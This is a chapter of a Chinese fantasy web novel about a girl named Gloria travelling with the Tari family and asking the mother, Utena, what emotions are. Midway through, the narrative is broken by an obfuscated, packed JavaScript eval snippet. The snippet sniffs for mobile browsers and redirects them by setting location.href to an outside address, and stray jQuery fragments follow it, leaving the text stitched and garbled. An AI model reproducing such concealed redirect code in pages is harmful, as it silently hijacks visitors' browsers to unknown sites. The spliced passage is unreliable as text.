马车一路不停，终于在日落前赶到了最近的传送法阵前的营地。
“我们会在这里休息一晚，明天才会安排我们通过阵法传送到佐洛琳城。”乌忒娜看着两个女孩手牵手走到她面前，仔细介绍了一下临时改变的旅程安排。
另一边，斯顿艾斯已经准备点燃了火堆。昼夜温差太大，马车上有保温魔法倒是不用太担心，一会睡觉不怕着凉，在外面活动还是烤烤火比较舒服。
“佐洛琳城？”格洛瑞亚递出另一只手上拿着的锅具，斯顿艾斯接过准备大显身手，玛莉安娜倒是对这突然改变的行程发出了疑问。
“是的，佐洛琳城，据说原本的塞西亚城的传送法阵坏掉了，我们到了佐洛琳城还要再商量去王都走哪里更快一些。”乌忒娜对着玛莉安娜向来有耐心，最近这份耐心也在逐渐扩展到格洛瑞亚身上。当然，面对着哪怕是刚刚恢复不久却仍然过分活泼的丈夫，乌忒娜倒是还有几分脾气。
一顿晚饭不算丰盛，却也能消除赶路的疲惫。吃完晚饭的四个人对着熊熊燃烧的火堆发呆，格洛瑞亚还在想着在马车上与玛莉安娜的对话。
“早点休息吧，明天通过了传送法阵也还要继续赶路呢。”格洛瑞亚原本想说什么，乌忒娜却先催几人休息。
格洛瑞亚犹豫了一下，还是选择跟着玛莉安娜回到了两人一路坐着的马车上。
马车被格洛瑞亚和斯顿艾斯联手套上了好几层保暖魔法，比起外面夜晚来临的寒意，马车里显得温暖得有些过分，玛莉安娜在铺好临时床铺钻进被子里后不禁感慨魔法还真是造福大众。
“……”比起玛莉安娜的悠然自得，格洛瑞亚有些沉默的过分。玛莉安娜凑近明显心不在焉的格洛瑞亚，抓住格洛瑞亚反复整理头发的手。
“瑞尔，要休息啦？”玛莉安娜松开格洛瑞亚，麻利的把眼前长长的银发编成两条长长的辫子。
玛莉安娜点点头，很满意自己的作品，于是顺手把自己乌黑的长发也编成一样的两根辫子，拍拍枕头准备睡下。
“我想和乌忒娜聊一聊。”格洛瑞亚在一片黑暗中轻声说。
“妈妈？”玛莉安娜睡眠质量相当好，此时已经迷迷糊糊有些睡意了，但是格洛瑞亚在说话，她要尽量清醒的回应，“妈妈……聊一聊嘛……没问题的……”
“……”格洛瑞亚默默又给马车加了一层保温魔法。玛莉安娜总是这样，一切都是没问题的。
也对，只要是玛莉安娜，一切都没问题的。
“玛莉安娜，晚安。”
玛莉安娜在睡梦中，模糊不清地回应她的朋友。
“晚安，格洛瑞亚。”
.
第二天一早，格洛瑞亚早早收拾好自己，看看还在赖床的玛莉安娜，决定还是先去找乌忒娜。看着已经亮起来的天光，格洛瑞亚走向已经早早起床在准备早餐的塔里夫妇。
看着彼此之间不用交流、却能看得出来默契的塔里夫妇，格洛瑞亚先在旁边观察了一会。
格洛瑞亚没有欺骗乌忒娜。初见那天的所有消息确实是格洛瑞亚一点点从梦境中拼凑出来，只是这些梦境多数时候是在旁观，或者，只是突然在眼前闪过的某一个有关于未来或过去的片段。
格洛瑞亚简单的将乌忒娜和斯顿艾斯两个人之间的情感定义为了“爱”。
不然还能怎样定义呢？格洛瑞亚觉得自己最近好像总是在对着塔里一家三口之间的感情产生疑惑。
乌忒娜想要治好斯顿艾斯，不管是不是能做到，也无论付出什么代价，都想让斯顿艾斯从无穷无尽的黑暗中醒来，在那些被她窥探到的过去的片段中，斯顿艾斯和乌忒娜彼此注视时，眼里永远写满了爱意与温柔。
而玛莉安娜……格洛瑞亚靠在马车边，看着整个世界一点、一点地亮起来。
玛莉安娜面对耗尽心力的母亲、昏迷不醒的父亲，做到了所有她作为一个孩子能做到的一切。玛莉安娜内心的不断祈求共振了命运，格洛瑞亚因此第一次清晰的认识到自己也许可以回应这份祈求。
这就是所谓的“祈祷”吗？是面对无力改变的现实，所以将一切寄托于已经虚无缥缈的神明吗？
格洛瑞亚向自己提问，又再次回答自己。
不是。或者说不完全是。
如果真的放弃，乌忒娜不会带着玛莉安娜在那个边陲小镇居住了五年，无数次走向那片神战后的“禁地”寻找草药、材料，玛莉安娜也不会在五年时间里积攒出一份能共振命运的祈祷。
不，也许不是祈祷。格洛瑞亚又反驳了自己。
也许只是一份“相信”。
玛莉安娜无论如何，都一直相信父亲终有一天会醒来，母亲也总有一天会重新快乐起来。
这就是人。永远在困境中踌躇满志，永远在希望中一往无前。
格洛瑞亚在马车边站了很久，久到玛莉安娜已经活力满满地冲下了马车，久到乌忒娜和斯顿艾斯做好了早餐，乌忒娜拿着一块面饼递到了她的眼前。
“你今天很早就出来了……”乌忒娜看着格洛瑞亚咬下一口，眼睛亮了亮，笑了，“有什么心事吗？我们或许能帮上忙？”
格洛瑞亚吃掉了那块面饼，想了想，很认真的问乌忒娜。
“我可以和你聊一聊吗？就我和你。”格洛瑞亚看着乌忒娜掩饰不住的惊讶，迅速补充，“和玛莉安娜一起也可以。”
“当然可以。”乌忒娜收好惊讶的表情，甚至还有心情调侃唯一没有被提到的丈夫，“斯特会伤心的，女孩们的秘密时间，没有他的位置喽。”
.
斯顿艾斯·塔里在一顿早饭后喜提一人马车。宽敞，但是有点孤独。好不容易醒过来和家人团聚，恩人拐了老婆和女儿聊天，他确实也不知道还能说什么。
而另一架马车上，格洛瑞亚看着玛莉安娜自以为掩藏的很好地向乌忒娜撒娇，感到前所未有的轻松。
乌忒娜熟练地把女儿抱在怀里，接受来自于玛莉安娜的一切热情的爱意。
当然，乌忒娜也注意到了对面的格洛瑞亚一直在注视着，她想了想，分出一只手朝格洛瑞亚招了招，“格洛瑞亚，来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383194|168489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>玛莉安娜也从乌忒娜怀里抬起头，笑嘻嘻的看着格洛瑞亚。
那是一个只有一瞬间的拥抱。在利威家、在德里纳夫人身边，格洛瑞亚从未感受过这样温情的一刻。而这样的一瞬间却是塔里家稀松平常的日常生活。
格洛瑞亚觉得这一瞬间还不错。乌忒娜的怀抱会让她想起第一次在梦境中看到的那片雪山，那片仿佛在世界尽头，却又无时无刻不在吸引她的雪山。
“好了，玛莉安娜。让我们来听一听格洛瑞亚的烦恼。”终于分开了自己和玛莉安娜的乌忒娜调侃道。
玛莉安娜学着前一天格洛瑞亚的样子摆出一副洗耳恭听的姿态，乌忒娜在一边笑着拍了拍女儿的膝盖。
格洛瑞亚详细的复述了一遍这几天和玛莉安娜的对话，乌忒娜很认真的倾听着，玛莉安娜倒是有些不好意思，不过还是在格洛瑞亚有些过于省略的地方补充了一些细节。
“……我的疑惑在于，玛莉安娜说，‘心口一空’的感觉是‘悲伤’，‘脸上的笑容’代表‘快乐’。这些‘表现’，就是‘情绪’吗？”格洛瑞亚很认真，几乎是在请教乌忒娜，希望这位已经经历过无数风浪的女性给出一些属于自己的见解。
乌忒娜很认真的听完了格洛瑞亚的困惑，觉得自己面对的不是一个活生生的“人”，而是一张空白的纸。
这张纸上有一些被涂抹出的色彩，只是颜色太浅或者下笔太轻，纸上的痕迹太少，少到不能称之为“画”。
而现在，这张白纸主动跳出来，希望有人能给自己的空白处填补一些颜色。乌忒娜觉得这会是一个漫长的过程，但好在她也不缺这份耐心。
当然，会有人比自己更有这份耐心的。乌忒娜看看同样在思考的玛莉安娜。
格洛瑞亚没有等很久。
或者说这不是需要等很久的答案。
“格洛瑞亚，你的困惑我们当然能给出答案。”乌忒娜很有耐心，她说的很慢，一字一句仔仔细细的，把自己能想到的一切毫无保留的讲述给格洛瑞亚。
“只是，我们给出的答案也只是片面的，今天是这样的回答，明天说不定又会有新的看法。”
“而这同样适用于你的问题。这些情感、这些情绪，也是今日如此、明日未知的状态。这不是我在敷衍你，而是事实如此。如果‘表现’就能概括所有人类的‘情感’，那么所有人就都应该是一个模子刻出来的了。”
“人的情感表现在很多方面。有人压抑，有人外放。我通常会习惯于掩藏情绪，而玛莉安娜和斯顿艾斯就更习惯于直白的表达。”
乌忒娜看着格洛瑞亚懵懂的样子，想起了当年第一次把幼小的玛莉安娜抱在怀中的时候。
也是一样懵懂、干净的眼睛，清透的只能看见自己的倒影。
“我觉得你不是在困惑这些表现。”乌忒娜仿佛生怕惊醒沉溺在睡梦中的人一般轻声细语。
“我觉得你是在想，为什么你从未感受过这些情绪。”
“我甚至觉得你在恐惧。”
格洛瑞亚一瞬间仿佛被人扼住咽喉。